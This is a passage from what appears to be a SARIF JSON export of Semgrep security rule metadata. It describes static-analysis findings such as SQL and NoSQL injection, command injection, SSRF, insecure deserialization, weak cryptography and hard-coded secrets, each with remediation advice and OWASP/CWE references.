which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking","id":"swift.insecure-communication.ats.ats-local.ATS-local-networking","name":"swift.insecure-communication.ats.ats-local.ATS-local-networking","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-local.ATS-local-networking"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","id":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","name":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","id":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","name":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"help":{"markdown":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","id":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","name":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"help":{"markdown":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","id":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","name":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"help":{"markdown":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf)\n","text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"helpUri":"https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","id":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","name":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"help":{"markdown":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"helpUri":"https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection","id":"swift.sql.sqlilite-injection.swift-sqlite-injection","name":"swift.sql.sqlilite-injection.swift-sqlite-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: swift.sql.sqlilite-injection.swift-sqlite-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"helpUri":"https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","id":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","name":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-child-process.express-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"helpUri":"https://semgrep.dev/r/javascript.express.express-child-process.express-child-process","id":"javascript.express.express-child-process.express-child-process","name":"javascript.express.express-child-process.express-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-child-process.express-child-process"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Key vault Secret should have a content type set"},"help":{"markdown":"Key vault Secret should have a content type set\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Key vault Secret should have a content type set"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","id":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","name":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"help":{"markdown":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection)\n - [http://expressjs.com/en/4x/api.html#res.render](http://expressjs.com/en/4x/api.html#res.render)\n","text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection","id":"javascript.express.security.audit.res-render-injection.res-render-injection","name":"javascript.express.security.audit.res-render-injection.res-render-injection","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.res-render-injection.res-render-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","id":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","name":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django","id":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","name":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pickle-django.tainted-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"help":{"markdown":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection","id":"swift.lang.storage.storage-protections.swift-data-protection","name":"swift.lang.storage.storage-protections.swift-data-protection","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure 